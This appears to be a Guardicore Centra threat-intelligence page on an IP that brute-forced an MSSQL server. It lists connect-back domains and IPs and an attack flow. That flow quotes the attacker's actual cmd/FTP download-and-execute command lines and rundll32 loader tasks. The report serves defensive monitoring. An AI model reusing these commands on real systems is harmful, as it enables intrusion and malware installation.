IP Address: 27.115.52.210Malicious

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IP Address:
27.115.52.210​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

Service Configuration Scheduled Task Creation IDS - Attempted User Privilege Gain PowerShell Download and Execute Successful MSSQL Login CMD System File Modification Drop MsSql Table File Operation By CMD MSSQL Null Session Login Access Suspicious Domain MSSQL Brute Force Outgoing Connection MSSQL Service Start Create MsSql Procedure Listening

Connect Back Servers

down.1226bye.pw gamesoxalic.com js.1226bye.pw yancy.pw

173.247.239.186 66.117.6.174 23.236.69.114 199.168.100.74 167.88.180.175 172.83.155.170

Basic Information

IP Address

27.115.52.210

Domain

-

ISP

China Unicom Shanghai network

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-12-04

Last seen in Guardicore Centra

2020-02-15

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc , sp_addlogin and sp_password

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL tables were dropped: #A1E8A56F and #A3D0EDE1

Drop MsSql Table

IDS detected Attempted User Privilege Gain : sp_start_job - program execution

IDS - Attempted User Privilege Gain

The file C:\Windows\Temp\conhost.exe was downloaded and executed

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175 and 172.83.155.170:8170

Outgoing Connection

Service msiserver was started

Service Start

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175 and 199.168.100.74:8074

Outgoing Connection

Process c:\windows\syswow64\cacls.exe generated outgoing network traffic to: 173.247.239.186:8186

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw

Outgoing Connection Access Suspicious Domain

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 2 times

Listening

Service WdiSystemHost was started

Service Start

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\syswow64\cacls.exe generated outgoing network traffic to: 23.236.69.114:8114

Connection was closed due to timeout

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IP Address: 27.115.52.210​Malicious